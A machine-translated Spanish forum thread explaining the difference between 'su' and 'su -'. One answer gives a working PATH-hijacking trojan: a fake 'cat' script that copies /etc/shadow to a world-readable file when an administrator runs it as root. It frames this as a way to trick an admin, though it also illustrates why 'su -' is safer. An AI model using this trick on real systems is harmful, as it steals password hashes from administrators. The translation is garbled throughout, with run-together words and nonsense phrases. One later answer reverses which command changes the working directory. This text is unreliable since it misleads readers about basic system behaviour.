No entiendo por qué su -se prefiere suiniciar sesión como root.
fuente
No entiendo por qué su -se prefiere suiniciar sesión como root.
su -invoca un shell de inicio de sesión después de cambiar el usuario. Un shell de inicio de sesión restablece la mayoría de las variables de entorno, proporcionando una base limpia.
su simplemente cambia al usuario, proporcionando un shell normal con un entorno casi igual al del usuario anterior.
Imagínese, usted es un desarrollador de software con acceso de usuario normal a una máquina y su administrador ignorante simplemente no le dará acceso a la raíz. Vamos (con suerte) a engañarlo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Ahora, le preguntas a tu administrador por qué no puedes catel archivo ficticio en tu carpeta de inicio, ¡simplemente no funcionará!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Si su administrador no es tan inteligente o simplemente un poco vago, puede venir a su escritorio y probar con sus poderes de superusuario:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
¡Guauu! Gracias, super administrador!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
El, el.
Quizás haya notado que la $PATHvariable corrupta no se restableció. Esto no hubiera sucedido si el administrador hubiera invocado en su su -lugar.
su --es el mismo quesu.umaskgusta 000 o no funcionará.suarchivo dentro de la RUTA. No es tan difícil imitar el comportamiento de lo realsu. El superusuario ha sido descuidado de todos modos :-)su --NO es lo mismo quesu -:--le dice a un manejador de opciones getopt (s) (o similar) que detenga el procesamiento de la línea de comando para otras opciones (útil, por ejemplo, si el resto contiene nombres de archivo que podrían comenzar con un '-'). Es decir, en "rm -i - f": -f se trata como un argumento regular, así que aquí como el nombre del archivo arm -i, y no como un additionnal-fopción para elrmcomando. ¡Asísu --es justosuy nosu -! Porsu --lo tanto , sería tan inseguro para el ejemplo (divertido e instructivo) givan de wag. Utilizarsu -.su -inicia sesión completamente como root, mientrassuque lo hace para que finjas ser root.El ejemplo más obvio de esto es que
~es el directorio de inicio de root si lo usasu -, pero su propio directorio de inicio si lo usasu.Dependiendo de su sistema, también puede significar diferencias en la solicitud
PATHo en el archivo de historial.Entonces, si usted es parte de un equipo que administra un sistema y su colega le da un comando para ejecutar, sabe que funcionará igual si ambos están usando
su -, pero si ambos están usandosu, puede haber diferencias debido a que tiene diferentes configuraciones de shell.Por otro lado, si desea ejecutar un comando como root pero usando su propia configuración, entonces quizás
susea mejor para usted.Además, no se olvide
sudo, que tiene la-sopción de iniciar un shell que se ejecuta como root. Por supuesto, esto también tiene reglas diferentes, y cambian según la distribución que esté utilizando.fuente
.bashrco/etc/bashrco/etc/profile.dsecuencias de comandos están estableciendoPATH. Busqueif [ $UID -eq 0 ]o algo por el estilo.$USERpor ejemplo se deja sin cambios.sudo su?Uso su - cuando estoy en un directorio como usuario normal pero quiero cambiar a root y permanecer en el mismo directorio después del cambio. Cuando usa su, cambia al usuario a root y también lo lleva a / root, que es el directorio raíz de inicio.
fuente
/o lo que sea que se defina como el directorio de inicio de la raízLa principal diferencia es:
su - usernameconfigura el entorno de shell como si fuera un inicio de sesión limpio como el usuario especificado, accede y utiliza variables de entorno de usuarios especificados,su usernamesimplemente inicia un shell con la configuración actual del entorno para el usuario especificado.Si el nombre de usuario no se especifica con
suysu -, la cuenta raíz está implícita como predeterminada.fuente